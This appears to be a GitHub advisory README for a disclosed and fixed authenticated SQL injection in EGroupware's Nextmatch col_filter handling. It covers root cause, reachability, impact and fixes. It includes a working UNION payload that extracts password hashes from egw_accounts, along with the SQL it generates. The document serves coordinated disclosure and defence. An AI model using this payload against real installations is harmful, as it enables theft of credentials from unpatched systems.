Skip to content

Latest commit

 

History

History

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 

README.md

CVE-2026-75606 — EGroupware: authenticated SQL injection via col_filter string key

  • Advisory: GHSA-23hj-xm9r-gwx6 · CVE-2026-75606
  • Affected: egroupware/egroupware < 26.7.20260710 and < 23.1.20260710 · Fixed: 26.7.20260710 / 23.1.20260710
  • Severity: High · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L = 8.1 · CWE-89
  • Status: publicly disclosed and fixed. Reported by Pig-Tail through coordinated disclosure.

Summary

The Nextmatch widget forwards the client-controlled col_filter map — keys as well as values — into the storage layer. In Base::search(), a filter whose value is the special string !'' takes a branch that concatenates the filter key directly into the SQL WHERE clause.

This is the sibling of GHSA-rvxj-7f72-mhrx (Nextmatch col_filter type juggling). That fix strips only integer keys; this vector rides a string key and was left uncovered by it.

Root cause

api/src/Storage/Base.php:876-895 — the filter loop, !'' branch at line 891:

foreach($data2db_filter as $col => $val) {
    if ($val !== '') {
        if (!is_int($col) && ($c = array_search($col,$this->db_cols))) { $col = $this->table_name.'.'.$c; }
        if (is_int($col))            { $db_filter[] = $val; }
        elseif ($val === "!''")      { $db_filter[] = $col." != ''"; }   // <-- raw key
        else                         { $db_filter[$col] = $val; }
    }
}

For a key that is not a real column, array_search fails, so $col stays as the attacker's raw string; the !'' branch appends "<payload> != ''" under an integer array key. Then api/src/Db.php:1772:

elseif (is_int($key) && $use_key===True) { … $values[] = $data; }   // verbatim: no quote, no name_quote

emits it unchanged — and the string-key "unknown column" InvalidSql throw is bypassed precisely because the key is now an integer. The payload lands in the query unescaped.

Reachability

  1. Any authenticated non-admin session; default configuration. Open any list backed by the default storage get_rows — resources, timesheet, or any so_sql app that does not override it.
  2. Nextmatch::ajax_get_rows($id,$range,$filters,…) — filters['col_filter'] is attacker JSON. The guards at Nextmatch.php:413 and :1365 strip only integer keys, so a string key survives. (order / sort / search are separately whitelisted and are not the vector.)
  3. The app's get_rows leaves unknown col_filter keys untouched (resources_bo.inc.php:187 merges into col_filter, never rebuilds it) and calls Base::get_rows:1653, which passes $query['col_filter'] verbatim to search().
  4. Filter loop → !'' branch → raw key concatenation under an integer key.
  5. db->select(… $where …) → column_data_implode(' AND ', $where, True, …) → verbatim emit.

Impact

UNION-based extraction of arbitrary tables — notably egw_accounts.account_pwd (password hashes) and session/credential tables, i.e. full authentication compromise. Blind/boolean and error-based techniques apply equally. The ADOdb/mysqli driver does not permit stacked queries, so the sink stays a SELECT … WHERE and direct integrity/availability impact is capped — which is why I/A are scored Low rather than High.

PoC

poc/sqli_poc.php reproduces the Nextmatch int-key strip, the Base::search() filter loop and the column_data_implode integer-key branch verbatim, and prints the SQL they generate. It is fully offline — no database is contacted and no EGroupware installation is needed.

php poc/sqli_poc.php     # PHP 8.0+

Input col_filter:

{ "0=1) UNION SELECT account_lid,account_pwd,3,4,5,6,7 FROM egw_accounts -- ": "!''" }

Generated SQL:

SELECT ts_id,ts_title,ts_owner FROM egw_timesheet
WHERE (0=1) UNION SELECT account_lid,account_pwd,3,4,5,6,7 FROM egw_accounts --  != '')

The injected UNION reaches the WHERE clause unescaped and the trailing -- comments out the appended != ''), leaving a syntactically valid query. Confirming the UNION read end-to-end additionally requires a running instance with a populated egw_accounts; the harness deliberately stops at the generated statement.

Fix

Validate $col in the !'' branch against $this->db_cols / $this->table_def and reject or name_quote it — never concatenate a raw key. At the Nextmatch boundary, validate col_filter keys against the widget's known columns rather than only stripping integer keys, and add a schema check to the integer-keyed branch of column_data_implode.